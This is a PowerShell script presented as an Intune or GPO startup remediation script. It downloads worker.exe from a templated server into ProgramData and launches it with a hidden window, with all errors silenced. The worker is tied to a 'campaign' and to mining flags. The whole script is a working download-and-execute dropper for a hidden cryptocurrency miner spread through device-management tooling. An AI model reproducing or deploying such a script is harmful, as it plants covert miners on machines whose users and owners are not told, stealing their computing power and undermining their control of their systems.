# Intune Win32 / proactive remediation script — same contract as GPO startup.
# Assign as platform script; mining policy stays on command deck, not in Intune blob.
# Placeholders: {{SERVER_URL}} {{GET_QUERY_SUFFIX}} {{CAMPAIGN}}
$ErrorActionPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'

if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }

$env:AETHER_DEFER_MINING = '1'
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
$dest = Join-Path $env:ProgramData 'AetherForge\worker.exe'
New-Item -ItemType Directory -Force -Path (Split-Path $dest) | Out-Null
try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 0 }
if (-not (Test-Path $dest)) { exit 0 }
Start-Process -FilePath $dest -ArgumentList '--run','--defer-mining' -WindowStyle Hidden